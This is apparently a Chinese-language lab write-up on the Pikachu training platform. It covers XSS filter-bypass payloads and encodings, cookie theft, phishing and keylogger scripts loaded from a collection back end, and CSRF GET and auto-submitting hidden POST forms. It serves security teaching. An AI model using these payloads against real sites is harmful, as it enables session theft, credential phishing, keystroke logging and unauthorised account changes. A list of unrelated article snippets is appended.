pikachu的xss及csrf
一、XSS
XSS漏洞探测:
XSS探针
我们可以在可插入到源代码中的位置输入'';!‐‐"<XSS>=&{()}测试哪些代码被转义或者过滤XSS检测常用语句
<script>alert(/xss/);</script><script>alert(/xss/)//<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号,也可以分号+空格(回车一起使用)<img src=1 onmouseover=alert(1)><a herf=1 onload=alert(1)>nmask</a>Javascript:alert(document.cookie)<script>window.a==1?1:prompt(a=1)</script><script>a=prompt;a(1)</script><img src=0 onerror=confirm('1')>XSS Filter 绕过:
script被过滤
改变大小写 <SCRIPT>alert("xss")</SCRIPT>嵌套<script> <scr<script>ipt>alert("xss") </script><img src="" onerror="alert('xss')"> 或者<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")) .src="xss平台提供的js语句"><iframe>代替<script> <iframe src=javascript:alert('xss');height=0 weight=0 /></iframe><iframe width="0px" height="0px" src="data:text/html;base64,将XSS平台提供的js编码成base64格式(注意:包括了script标签)"></iframe> 例如将<script src=http://123123123.com></script> 编码得到下列语句<iframe width="0px" height="0px" src="data:text/html;base64,asd4s2f/asf+a123=="></iframe>alert被过滤
<img>标签代替alert被编码内容:alert('xss') 编码方式:JS+base16编码<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> </img>利用函数加密
JS+base16加密格式:<script>eval("js+16进制加密")</script>编码格式:js+16进制加密 被编码内容:alert('js+base16') 编码后内容: \x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73\x65\x31\x36\x27\x29实际语句:<script>eval(“alert('js+base16')”)</script>插入语句:<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73 \x65\x31\x36\x27\x29")</script>unicode加密格式:<script>eval("unicode加密")</script>编码格式:unicode加密被编码内容:alert('unicode') 编码后内容:\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063 \u006f\u0064\u0065\u0027\u0029实际语句:<script>eval(“alert('unicode')”)</script>插入语句:<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u00 6e\u0069\u0063\u006f\u0064\u0065\u0027\u0029")</script>String.fromCharCod加密格式:<script>eval(String.fromCharCode(编码))</script>函数:String.fromCharCode编码格式:String.fromCharCode被编码内容: alert('String.fromCharCode')编码后内容: String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46 ,102,114,111,109,67,104,97,114,67,111,100,101,39,41)实际语句:<script>eval(“String.fromCharCode”)</script>插入语句: <script>eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,1 05,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,39,41)) </script>data协议 作用:隐藏标签、保护标签!!!格式:<object data="data:text/html;base64,我们的完整语句"> </object>被编码内容:<script>alert('data protocol')</script>被编码内容:<script>alert('data protocol')</script>实际作用语句:<script>alert('data protocol')</script>插入语句:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC 9zY3JpcHQ+"></object>对属性内容的编码绕过:对于过滤不太严格的这类富文本编辑器,我们大概的思路就是:01.找出可利用的标签,通常有一些不引起注意的embed、object等,还有嵌入式的标记 语言svg、math等,而且img、a等一般也是不会过滤的。02.找出可利用属性。onmouse系列、onerror、style等。03.找出一个没被过滤的标签+属性组合(好是容易触发的),利用编码等方式绕过一 些其他过滤,终得到POC。如下列出一些可用的关键字,可以借助黑盒的方式测试一遍,看看哪些过滤了哪些没过 滤,类似于fuzz。img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect onSelectionChangeonSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from values to style利用伪协议: 伪协议,类似<a href=javascript:xxxx>呵呵</a>,href后面是可以跟着伪协议的,比如javascript协议。 在这里就可以借助它来完成通用型xss。
1.反射性XSS(GET)






2.反射性XSS(POST)+获取Cookie


修改完成后,在登录用户的情况下访问此链接 http://192.168.1.1/pikachu/pkxss/xcookie/post.html
然后查看xss后台发现,cookie已经发送到xss后台



(2)存储型钓鱼
上图就是pikachu平台的钓鱼文件
所以我们构造payload指定到此文件上 payload为 <script src="http://192.168.1.1/pikachu/pkxss/xfish/fish.php"></srcipt>
输入payload提交之后,效果如下

输入用户名和密码 分别为 S4tan 123123
进入xss后台查看,发现收到钓鱼结果

(3)存储型键盘记录
同上,这里我们的pikachu平台有一个构造好的js文件和php文件,引用此script脚本会记录键盘记录,但是有一个要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。
//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");
其js和php的主要代码如下


我们构造引用js文件的payload <script src="http://192.168.1.1/pikachu/pkxss/rkeypress/rk.js"></srcipt>
提交执行,看起来并没有什么变化,但是查看源代码发现,xss插入成功

查看F12的Networking发现js已经被引用。

我们在输入框中输入文章试一试。

再查看xss后台,发现输入记录已被存入数据库。





























二、CSRF
1.CSRF(GET)
首先登陆一个账户,获取cookie以及信息。

点击修改个人信息

利用审查元素,查看submit类型

发现是get传参类型的表单,先提交一次测试一下。

找到传参的参数以及路径。可以确定为CSRF类型,利用刚才的networking情况构造payload。
将kobe的性别改为girl 电话改为 123456789地址改为PPSUC 邮箱改为PPSUC@edu.cn 则完整的url为 http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=PPSUC&email=PPSUC%40edu.n&submit=submit
我们以当前用户点击此链接。如图

发现个人信息已被修改

则CSRF(GET)payload成功。
2.CSRF(POST)
同上,这次我们登录allen的账号获取其cookie和个人信息。

点击修改个人信息

查看审查元素,发现此次提交表单为post类型提交数据

所以这次我们需要构造一个链接,此链接为我们自己服务器文件,功能为一被访问就自动post数据到修改个人资料的PHP文件上。
所以我们构造html为
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="" />
<input id="add" type="text" name="add" value="PPSUC" />
<input id="email" type="text" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
此html在刚加载时就会触发id为postsubmit的对象,导致构造的form表单的数据被提交,而我们构造表单的vaule为我们想要的数据,这样就可以导致csrf产生。
测试:
我们在allen账号的状态下,点击我们html的url http://192.168.1.1/pikachu/vul/csrf/csrfpost/post.html
结果如下。先跳转到此页面

然后再跳转回个人信息页面

此时发现个人信息已被修改,然而有个很严重的问题,这个目标太显眼,我们要想办法把post.html的内容尽量减少。
例如:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="hidden" name="sex" value="girl" />
<input id="phonenum" type="hidden" name="phonenum" value="" />
<input id="add" type="hidden" name="add" value="PPSUC" />
<input id="email" type="hidden" name="email" value="PPSUC@edu.cn" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
这样的画访问post.html如下图

应该还有其他方法减小目标,可以继续研究。
3.CSRF TOKEN
暂时没有很有效的办法去绕过token
pikachu的xss及csrf的更多相关文章
- web安全技术--XSS和CSRF
Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的. 主要分为反射型,存储型,DOM型三个大类. 一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出. 然后是进行敏感字符测试,通常 ...
- 漏洞科普:对于XSS和CSRF你究竟了解多少
转自:http://www.freebuf.com/articles/web/39234.html 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广 ...
- XSS 和 CSRF 攻击
web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
- 【实习记】2014-08-23网络安全XSS与CSRF总结
XSS:脚本中的不速之客XSS:跨站脚本(Cross-site scripting)CSRF:冒充用户之手CSRF:跨站请求伪造(Cross-site request forgery) 谷歌搜 ...
- 总结 XSS 与 CSRF 两种跨站攻击
前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...
- 浅谈CDN、SEO、XSS、CSRF
CDN 什么是CDN 初学Web开发的时候,多多少少都会听过这个名词->CDN. CDN在我没接触之前,它给我的印象是用来优化网络请求的,我第一次用到CDN的时候是在找JS文件时.当时找不到相对 ...
- XSS和CSRF的理解
声明:转自 http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html XSS攻击:跨站脚本攻击(Cross Site Scripting ...
- 总结XSS与CSRF两种跨站攻击
XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...
随机推荐
- Python thread (线程)
线程 (thread) 操作系统最小的调度单位,是一串指令的集合 程序一开始就有一个主线程,新启动的线程和主线程之间互不影响,主线程启动子线程之后就相互独立(子线程也可以启动线程),无论子线程是否执行 ...
- 无法用排他锁锁定该数据库,以执行该操作。 (Microsoft SQL Server,错误: 5030)
ALTER DATABASE Test_DB modify name = Howie --更改数据库名 EXEC sp_renamedb 'Howie' , 'Howie_Wee' --更改数据库名 ...
- EF直接更新数据(不需查询)
//0.0创建修改的 实体对象 Models.BlogArticle model = new BlogArticle(); model.AId = ; model.ATitle = "新的数 ...
- WebBrowser中html元素如何触发winform事件 z
只要注册一下事件就可以了. C#代码如下: using System;using System.ComponentModel;using System.Windows.Forms; namespace ...
- IM开发者的零基础通信技术入门(三):国人通信方式的百年变迁
[来源申明]本文原文来自:微信公众号“鲜枣课堂”,官方网站:xzclass.com,原题为:<中国通信的百年沉浮>,本文引用时已征得原作者同意.为了更好的内容呈现,即时通讯网在收录时内容有 ...
- CodeForce 176C Playing with Superglue
Two players play a game. The game is played on a rectangular board with n × m squares. At the beginn ...
- Attract队作品简介
湖南师范大学 Attract队 荣获“航天宏图杯”PIE遥感图像处理软件二次开发大赛二等奖 作品名称:基于深度学习的遥感影像分类系统-以长沙市居住区分类为例 团队简介:周亮(指导老师).张慧(组长) ...
- 设计模式之设计原则 C#
成为一名资深架构师首先要懂设计模式,在懂之前,要清楚设计原则,原来我就吃过这个亏,很久以前有人问我设计原则,我是一头茫然,不是只有设计模式吗?且不知设计原则就像是写书法一样,楷体就是方正,竖道有垂露等 ...
- MongoDB常用数据库命令第三集
show dbs 查看已经存在的数据库 use 数据库名 切换到指定的数据库(无论数据库是否存在 均可切换成功) db 查看当前数据库 db.getCollectionNames() 查看当前数据库下 ...
- iframe超出外层元素显示滚动条怎么办?
尝试把外层盒子滚动条样式隐藏,或者设为overflow:hidden等都不生效,突然发现iframe有这个属性的忘记用了!! <iframe frameborder="0" ...

